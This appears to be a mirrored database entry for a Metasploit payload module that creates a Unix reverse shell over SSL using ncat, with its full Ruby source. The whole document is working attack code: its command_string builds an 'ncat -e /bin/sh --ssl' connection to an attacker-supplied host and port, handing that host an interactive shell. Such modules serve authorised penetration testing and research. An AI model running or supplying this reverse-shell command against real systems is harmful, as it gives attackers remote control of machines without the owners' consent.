Unix Command Shell, Reverse TCP (via ncat)

2017-04-30T22:57:28
ID MSF:PAYLOAD/CMD/UNIX/REVERSE_NCAT_SSL
Type metasploit
Reporter Rapid7
Modified 2017-09-17T20:00:04

Description

Creates an interactive shell via ncat, utilizing ssl mode

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 42

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Unix Command Shell, Reverse TCP (via ncat)',
      'Description' => 'Creates an interactive shell via ncat, utilizing ssl mode',
      'Author'      => 'C_Sto',
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Handler'     => Msf::Handler::ReverseTcpSsl,
      'Session'     => Msf::Sessions::CommandShell,
      'PayloadType' => 'cmd',
      'RequiredCmd' => 'ncat',
      'Payload'     =>
        {
          'Offsets' => { },
          'Payload' => ''
        }
      ))
  end

  #
  # Constructs the payload
  #
  def generate
    super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    "ncat -e /bin/sh --ssl #{datastore['LHOST']} #{datastore['LPORT']}"
  end
end